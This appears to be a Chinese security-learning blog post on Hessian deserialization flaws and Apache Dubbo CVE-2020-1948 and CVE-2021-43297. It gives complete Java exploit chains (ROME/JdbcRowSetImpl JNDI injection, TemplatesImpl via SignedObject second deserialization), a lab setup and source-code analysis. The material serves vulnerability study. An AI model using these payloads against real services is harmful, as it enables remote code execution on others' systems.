RPC协议 RPC全称为Remote Procedure Call Protocol(远程调用协议),RPC和之前学的RMI十分类似,都是远程调用服务,它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息,这样跨平台和系统就更加方便 RPC协议的一次远程通信过程如下
客户端发起请求,并按照RPC协议格式填充信息
填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求的信息并进行处理
处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回
Hessian协议 Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Python、C++……语言都进行了实现,Hessian一般在Web服务中使用,在Java里它的使用方法很简单,它定义远程对象,并通过二进制的格式进行传输。
Hessian基本使用 1 2 3 4 5 <dependency > <groupId > com.caucho</groupId > <artifactId > hessian</artifactId > <version > 4.0.63</version > </dependency >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import java.io.Serializable; public class Person implements Serializable { public String name; public int age; public int getAge () { return age; } public String getName () { return name; } public void setAge (int age) { this .age = age; } public void setName (String name) { this .name = name; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput; import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.Serializable; public class Hessian_Test implements Serializable { public static <T> byte [] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream (); HessianOutput output = new HessianOutput (bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); } public static <T> T deserialize (byte [] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream (bytes); HessianInput input = new HessianInput (bai); Object o = input.readObject(); return (T) o; } public static void main (String[] args) throws IOException { Person person = new Person (); person.setAge(18 ); person.setName("Feng" ); byte [] s = serialize(person); System.out.println((Person) deserialize(s)); } }
Java原生反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import java.io.*; public class Ser_Test implements Serializable { public static <T> byte [] serialize(T t) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bao); oos.writeObject(t); System.out.println(bao.toString()); return bao.toByteArray(); } public static <T> T deserialize (byte [] bytes) throws IOException, ClassNotFoundException { ByteArrayInputStream bai = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (bai); return (T) ois.readObject(); } public static void main (String[] args) throws IOException, ClassNotFoundException { Person person = new Person (); person.setAge(18 ); person.setName("Feng" ); byte [] s=serialize(person); System.out.println((Person) deserialize(s)); } }
上述两种反序列化输出结果如下: 其中Hessian反序列化的结果明显小了一些,但是本质上并没有什么差异性
Hessian反序列化漏洞 首先POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.rowset.JdbcRowSetImpl; import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.Serializable;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap; public class Hessian_JNDI implements Serializable { public static <T> byte [] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream (); HessianOutput output = new HessianOutput (bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); } public static <T> T deserialize (byte [] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream (bytes); HessianInput input = new HessianInput (bai); Object o = input.readObject(); return (T) o; } public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static Object getValue (Object obj, String name) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); return field.get(obj); } public static void main (String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); String url = "ldap://localhost:9999/EXP" ; jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class,jdbcRowSet); EqualsBean equalsBean = new EqualsBean (ToStringBean.class,toStringBean); HashMap hashMap = makeMap(equalsBean,"1" ); byte [] s = serialize(hashMap); System.out.println(s); System.out.println((HashMap)deserialize(s)); } public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap <>(); setValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setValue(s, "table" , tbl); return s; } }
可以看到RCE是成功了,那么我们就直接看看入口点在哪,在最开始的地方给个断点 在readObject计算tag的值,这里为77因此执行readType函数,跟进该函数 也没有做什么退回来,进入readMap函数 获取一个deserializer对象,由于2个判断都为null,所以进入this._hashMapDeserializer.readMap(in)
在这里创建了一个新的hashmap,这个hashmap应该是一个作为临时缓存的,往它put我们恶意对象,这里调用了2次readObject,因此我们会重复几次 重复过程结束后回到put方法 然后就是常规ROME链子了,这里选的是JdbcRowImpl链子触发JNDI注入,因此记得控制一下JDK版本
Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948) 环境搭建 这一部分环境搭建可能比较麻烦,需要安装Dubbo,选用Zookeeper作为注册中心(Registry),Apache Dubbo框架的流程如下
首先服务容器加载并运行Provider
Provider在启动时向注册中心Registry注册自己提供的服务
Consumer在Registry处订阅Provider提供的服务
注册中心返回服务地址给Consumer
Consumer根据Registry提供的服务地址调用Provider提供的服务
Consumer和Provider定时向监控中心Monitor发送一些统计数据
https://www.apache.org/dyn/closer.lua/zookeeper/zookeeper-3.8.1/apache-zookeeper-3.8.1-bin.tar.gz 下载好后配置一下conf文件夹里的zoo.cfg文件,一开始不叫这个名字,改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 # The number of milliseconds of each tick tickTime=2000 # The number of ticks that the initial # synchronization phase can take initLimit=10 # The number of ticks that can pass between # sending a request and getting an acknowledgement syncLimit=5 # the directory where the snapshot is stored. # do not use /tmp for storage, /tmp here is just # example sakes. dataDir=E:\CTFLearning\apache-zookeeper-3.8.1-bin\data dataLogDir=E:\CTFLearning\apache-zookeeper-3.8.1-bin\log # the port at which the clients will connect clientPort=2181 # the maximum number of client connections. # increase this if you need to handle more clients #maxClientCnxns=60 # # Be sure to read the maintenance section of the # administrator guide before turning on autopurge. # # https://zookeeper.apache.org/doc/current/zookeeperAdmin.html#sc_maintenance # # The number of snapshots to retain in dataDir #autopurge.snapRetainCount=3 # Purge task interval in hours # Set to "0" to disable auto purge feature #autopurge.purgeInterval=1 ## Metrics Providers # # https://prometheus.io Metrics Exporter #metricsProvider.className=org.apache.zookeeper.metrics.prometheus.PrometheusMetricsProvider #metricsProvider.httpHost=0.0.0.0 #metricsProvider.httpPort=7000 #metricsProvider.exportJvmInfo=true
随后就是准备dubbo-api了,创建一个SpringBoot项目,准备一个api接口
1 2 3 4 5 package com.api; public interface IHello { String IHello (String name) ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <dependencies > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-web</artifactId > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-test</artifactId > <scope > test</scope > </dependency > <dependency > <groupId > org.apache.dubbo</groupId > <artifactId > dubbo-spring-boot-starter</artifactId > <version > 2.7.6</version > </dependency > #添加zookeeper依赖,并排除log4j依赖防止堆栈溢出 <dependency > <groupId > org.apache.dubbo</groupId > <artifactId > dubbo-dependencies-zookeeper</artifactId > <version > 2.7.6</version > <type > pom</type > <exclusions > <exclusion > <artifactId > slf4j-log4j12</artifactId > <groupId > org.slf4j</groupId > </exclusion > </exclusions > </dependency > #添加远程接口依赖 <dependency > <groupId > com.example</groupId > <artifactId > dubbo-api</artifactId > <version > 0.0.1-SNAPSHOT</version > </dependency > </dependencies >
这里我太偷懒了,直接搬了枫佬的Github源码,一个个搭太折磨人了https://github.com/Claradoll/Security_Learning 搭建好后访问hello路由出现如图所示内容即为正常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.example.dubboconsumer.consumer;import com.api.IHello;import org.apache.dubbo.config.annotation.Reference;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;@RestController public class HelloConsumer { @Reference private IHello iHello; @RequestMapping("/hello") public String hello (@RequestParam(name = "name") String name) { String h = iHello.IHello(name); System.out.println("调用Provider" ); return h; } @RequestMapping("/calc") public void Hessian_Ser () throws Exception { Object o = Hessian_Payload.getPayload(); Object b = iHello.IObject(o); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package com.example.dubboconsumer.consumer;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.rowset.JdbcRowSetImpl;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;public class Hessian_Payload { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap <>(); setValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setValue(s, "table" , tbl); return s; } public static Object getPayload () throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); String url = "ldap://localhost:9999/EXP" ; jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class,jdbcRowSet); EqualsBean equalsBean = new EqualsBean (ToStringBean.class,toStringBean); HashMap hashMap = makeMap(equalsBean,"1" ); return hashMap; } }
项目结构: consumer相当于客户端,provider就是服务端,也就是rmi的客户端和服务端,然后zookeeper同样也需要开起来
反序列化漏洞分析 上面给出了Hessian_payload,用的还是ROME中的JdbcRow链,也就是触发JNDI,我们看看这一次Dubbo是怎么调用了hashcode
1 2 3 4 5 6 7 package com.api;public interface IHello { String IHello (String name) ; Object IObject (Object o) ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package com.example.dubboprovider.service;import com.api.IHello;import org.apache.dubbo.config.annotation.Service;@Service public class HelloService implements IHello { @Override public String IHello (String name) { return "Hello " +name; } @Override public Object IObject (Object o) { return o; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package com.example.dubboconsumer.consumer;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.rowset.JdbcRowSetImpl;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;public class Hessian_Payload { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap <>(); setValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setValue(s, "table" , tbl); return s; } public static Object getPayload () throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); String url = "ldap://localhost:9999/EXP" ; jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class,jdbcRowSet); EqualsBean equalsBean = new EqualsBean (ToStringBean.class,toStringBean); HashMap hashMap = makeMap(equalsBean,"1" ); return hashMap; } }
有一个接口和实现类,一个payload,就是上面的那个,然后创建一个calc路由: 访问该路由即弹计算机 断点就给在方法调用处(服务端的) 然后再给一个在DecodeableRpcInvocation的decode方法 对RMI反序列化熟悉一点的就会觉得这一部分其实和它很像,他们都会对数据进行decode和encode,那继续往下跟一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public Object decode (Channel channel, InputStream input) throws IOException { ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), serializationType) .deserialize(channel.getUrl(), input); String dubboVersion = in.readUTF(); request.setVersion(dubboVersion); setAttachment(DUBBO_VERSION_KEY, dubboVersion); String path = in.readUTF(); setAttachment(PATH_KEY, path); setAttachment(VERSION_KEY, in.readUTF()); setMethodName(in.readUTF()); String desc = in.readUTF(); setParameterTypesDesc(desc); try { Object[] args = DubboCodec.EMPTY_OBJECT_ARRAY; Class<?>[] pts = DubboCodec.EMPTY_CLASS_ARRAY; if (desc.length() > 0 ) { ServiceRepository repository = ApplicationModel.getServiceRepository(); ServiceDescriptor serviceDescriptor = repository.lookupService(path); if (serviceDescriptor != null ) { MethodDescriptor methodDescriptor = serviceDescriptor.getMethod(getMethodName(), desc); if (methodDescriptor != null ) { pts = methodDescriptor.getParameterClasses(); this .setReturnTypes(methodDescriptor.getReturnTypes()); } } if (pts == DubboCodec.EMPTY_CLASS_ARRAY) { pts = ReflectUtils.desc2classArray(desc); } args = new Object [pts.length]; for (int i = 0 ; i < args.length; i++) { try { #这里反序列化 args[i] = in.readObject(pts[i]); } catch (Exception e) { if (log.isWarnEnabled()) { log.warn("Decode argument failed: " + e.getMessage(), e); } } } }
这一段代码获取了远程接口对象的路径和类型,以及dubbo的版本等等信息,但是在最后进行了反序列化,并且这里的in输入流是Hessian2对象 因此必然接下来就是Hessian反序列化那一套流程 这里Hessian2和之前Hessian有些许不同,tag为72,看看72里的逻辑 也是readMap,然后进入doReadMap 之后map.put触发hashcode,然后也是ROME那一套按摩流程
Hessian二次反序列化利用链 TemplatesImpl+SignedObject二次反序列化 其实一开始在写上面的内容时我就好奇,为什么不用简答一点的Templates链,而偏要用复杂的JNDI链,在这里得到了解答,这是由于Hessian反序列化和Java原生反序列化的区别
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package Hessian2;import Tools.Hessian2_Tools;import Tools.Make_Map;import com.rometools.rome.feed.impl.ObjectBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class Hessian2_TemplatesImpl { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl (); byte [] bytecodes = Files.readAllBytes(Paths.get("E:\\CTFLearning\\Security_Learning-master\\Security_Learning-master\\Hessian_Learning\\dubbo_Learning\\shell.class" )); setValue(templatesimpl,"_name" ,"aaa" ); setValue(templatesimpl,"_bytecodes" ,new byte [][] {bytecodes}); setValue(templatesimpl, "_tfactory" , new TransformerFactoryImpl ()); ToStringBean toStringBean = new ToStringBean (TemplatesImpl.class,templatesimpl); ObjectBean objectBean = new ObjectBean (ToStringBean.class,toStringBean); HashMap hashMap = Make_Map.makeMap(objectBean,"1" ); byte [] payload = Hessian2_Tools.Hessian2_Serial(hashMap); Hessian2_Tools.Hessian2_Deserial(payload); } }
运行之后不会RCE,会得到一段报错 这是由于Tempaltes的_tfactory被transient修饰符修饰了,不可进行反序列化 那为什么原生的Java反序列化不会受到这个限制呢。这是因为原生反序列化过程中,假如类的readObject重写了,那就会调用它重写的逻辑,因此看看Templates类的readOBject方法: 它手动new了一个TransformerFactoryImpl实例,这样就不会遇到那种问题了
那既然如此,我们该如何绕过这个限制呢?思路其实很清晰,就是找一个类,那个类里有原生的readObject,这样就可以通过它触发二次反序列化,得以RCE,这个类也有一些要求,那就是要接上我们之前的Rome链子,在调用任意get和set那里接上,那么就要求目标类的get或者set方法中有readObject方法(等有时间了一定要学一手CodeQL审一下。。。) 就如标题一样,找到的那个类叫做SignedObject
,我们看看他的get和set方法 这里调用了readObject,是getter方法,并且this.content我们可控 在构造方法中直接传入即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 package Hessian2;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.*;import java.util.HashMap;public class Hessian2_SignedObject { public static void main (String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl (); byte [] bytecodes = Files.readAllBytes(Paths.get("E:\\CTFLearning\\Security_Learning-master\\Security_Learning-master\\Hessian_Learning\\dubbo_Learning\\shell.class" )); setValue(templatesimpl,"_name" ,"aaa" ); setValue(templatesimpl,"_bytecodes" ,new byte [][] {bytecodes}); setValue(templatesimpl, "_tfactory" , new TransformerFactoryImpl ()); ToStringBean toStringBean = new ToStringBean (Templates.class,templatesimpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (123 ); setValue(badAttributeValueExpException,"val" ,toStringBean); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA" ); SignedObject signedObject = new SignedObject (badAttributeValueExpException,privateKey,signingEngine); ToStringBean toStringBean1 = new ToStringBean (SignedObject.class, signedObject); EqualsBean equalsBean = new EqualsBean (ToStringBean.class,toStringBean1); HashMap hashMap = makeMap(equalsBean, equalsBean); byte [] payload = Hessian2_Serial(hashMap); Hessian2_Deserial(payload); } public static byte [] Hessian2_Serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (baos); hessian2Output.writeObject(o); hessian2Output.flushBuffer(); return baos.toByteArray(); } public static Object Hessian2_Deserial (byte [] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); Hessian2Input hessian2Input = new Hessian2Input (bais); Object o = hessian2Input.readObject(); return o; } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap <>(); setValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setValue(s, "table" , tbl); return s; } public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
还挺好玩儿的
Apache Dubbo Hessian2异常处理反序列化漏洞(CVE-2021-43297) 这一个洞在网鼎杯和TCTF中都有考过,思路我个人认为和Ysoserial中C3P0生成payload那一块很像,就是利用Exception进入 在Hessian2的expect方法中有如上一段代码,可以发现红框中有一段字符串拼贴,会触发obj的toString,我们需要让obj为ToStringBean就可以RCE 那么就该寻找哪儿触发了expect方法,大佬们发现在readString中有一个分支会进入except方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public int readString (char [] buffer, int offset, int length) throws IOException { int readLength = 0 ; if (_chunkLength == END_OF_DATA) { _chunkLength = 0 ; return -1 ; } else if (_chunkLength == 0 ) { int tag = read(); switch (tag) { case 'N' : return -1 ; case 'S' : case BC_STRING_CHUNK: _isLastChunk = tag == 'S' ; _chunkLength = (read() << 8 ) + read(); break ; case 0x00 : ... case 0x1f : _isLastChunk = true ; _chunkLength = tag - 0x00 ; break ; default : throw expect("string" , tag); } } ...
在default,也就是谁都不匹配,就会进入该分值调用expect方法,那么继续找谁调用了readString,在decode阶段是会调用的
1 2 3 4 5 6 7 8 9 10 11 12 public Object decode (Channel channel, InputStream input) throws IOException { ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this .serializationType).deserialize(channel.getUrl(), input); String dubboVersion = in.readUTF(); this .request.setVersion(dubboVersion); this .setAttachment("dubbo" , dubboVersion); String path = in.readUTF(); setAttachment(PATH_KEY, path); setAttachment(VERSION_KEY, in.readUTF()); ...
readUTF方法中会调用
至于怎么去利用会在那两道题中写上